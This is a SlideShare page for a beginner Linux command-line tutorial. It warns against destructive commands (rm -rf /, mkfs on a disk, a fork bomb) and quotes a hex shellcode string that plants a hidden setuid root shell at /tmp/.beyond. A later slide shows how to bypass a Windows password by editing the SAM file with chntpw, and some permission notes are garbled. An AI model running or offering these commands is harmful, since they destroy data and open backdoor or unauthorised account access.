Download as ODP, PPTX
![Dangerous Command 4. Command with hexa integer char esp[] __attribute__ ((section(”.text”))) /* e.s.p release */ = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″ "\\xff\xff\xff\xff\x8\xdf\xd0\xdf\xd9\x68\x8d\x99″ “ \xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″ “ \x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″ “ \x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″ “ \xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″ “ \x6e\x2f\x73\x68\x00\x2d\x63\x00″ “ cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;](https://image.slidesharecdn.com/commandline1-111015063443-phpapp02/75/NUMOSS-4th-Week-Commandline-Tutorial-4-2048.jpg)
Uploaded byGagah Arifianto
NUMOSS 4th Week - Commandline Tutorial
The document lists several dangerous commands that can be run on a Linux or Unix system and cause data loss or system instability. It also provides basic commands for file operations, package management, networking tasks and changing permissions and passwords. The dangerous commands include deleting all files in the root folder, formatting a partition, executing a fork bomb to overload the system, and overwriting the file system on a designated device. The basic commands cover file listing, copying, downloading, creating directories and viewing directory information. It also explains Linux file permissions in terms of read, write and execute attributes.
More Related Content
Similar to NUMOSS 4th Week - Commandline Tutorial
![Vibe Coding vs. Spec-Driven Development [Free Meetup]](https://cdn.slidesharecdn.com/ss_thumbnails/vibecodingvsspecdrivendevelopment-251209105622-43f455e7-thumbnail.jpg?width=640&height=640&fit=bounds)
NUMOSS 4th Week - Commandline Tutorial
- 1. PRIMAYOGI LOVINILTRA NUMOSS >>>
- 2.
- 3. Dangerous Command 1.# rm -rf / Delete folder root 2. $ mkfs.ext3 /dev/sda Format Partition 3. $ forkbomb :(){:|:&};: Instruct the system to execute various processes to hang. Will usually result in loss of data because the computer had to be turned off forcibly.
- 4. Dangerous Command 4.Command with hexa integer char esp[] __attribute__ ((section(”.text”))) /* e.s.p release */ = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″ "\\xff\xff\xff\xff\x8\xdf\xd0\xdf\xd9\x68\x8d\x99″ “ \xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″ “ \x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″ “ \x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″ “ \xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″ “ \x6e\x2f\x73\x68\x00\x2d\x63\x00″ “ cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;
- 5. Dangerous Command 5./dev This comand will overwrite the file system designated device and can eventually cause loss of data that. Mounting on the folder / dev (folder / dev commonly used to place a description of hardware and hard drive) 6. Execute some file shell (.sh) 7. Move home folder to /dev/null mv /home/home directory/* /dev/null
- 6. Basic Command $apt-get (install package data) $ cat ( concatenate files and print on the standard output) $ mv (move) $ cd (change directory) $ passwd (change password) $ ping $ rm (remove)
- 7. Basic Command $cp (copy) $ reboot $ history $ ls (list directory contents) $ make (compile) | $ ./filename.extension $ pwd (print current directory) | $ whoami $ wget (network downloader) $ mkdir (make directory)
- 8. Linux Permissionr (read) = Read 4 w (write) = Write 2 x (exec) = Execute 1 (0) = can't get access — 0 can't be access r– 4 read & write (can edited) rw- 6 read & write (can edited) rwx 7 read, write, execute (dijalankan) r-x 5 read, write but can't be edited – x 1 only execute Chmod
- 9. Linux Permission #chattr +i filename Unlock: # chattr i namafile Chattr
- 10. Change Password Windows> Install chntp : $ sudo apt-get install chntp > Mount your “Windows installed” device $ sudo mount /dev/sda1 /media/WINDOWS > Goto your Windows system configuration folder $ cd /media/WINDOWS/WINDOWS/system32/config/ Cracking the SAM file : $ chntpw SAM